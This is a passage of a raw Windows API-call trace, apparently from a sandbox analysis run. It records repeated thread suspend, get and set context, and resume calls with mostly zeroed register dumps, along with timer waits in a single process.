[129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.994] ResumeThread (hThread=0x16c) returned 0x1 [0172.994] CloseHandle (hObject=0x16c) returned 1 [0173.447] SuspendThread (hThread=0x16c) returned 0x0 [0173.447] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197e08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1692cc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0173.475] SetThreadContext (hThread=0x16c, lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0173.533] ResumeThread (hThread=0x16c) returned 0x1 [0173.533] CloseHandle (hObject=0x16c) returned 1 [0173.533] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0173.533] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0173.569] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0173.570] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0173.579] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0173.580] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0173.690] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0173.690] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0173.739] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x16c) returned 1 [0173.739] SuspendThread (hThread=0x16c) returned 0x0 [0173.739] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197918, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe21f1f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0173.845] ResumeThread (hThread=0x16c) returned 0x1 [0173.845] CloseHandle (hObject=0x16c) returned 1 [0173.845] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0173.846] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.116] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.116] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.153] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.153] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.199] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.199] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.244] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x16c) returned 1 [0174.245] SuspendThread (hThread=0x16c) returned 0x0 [0174.245] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197a48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x14a63bd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0174.248] SetThreadContext (hThread=0x16c, lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197a40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, 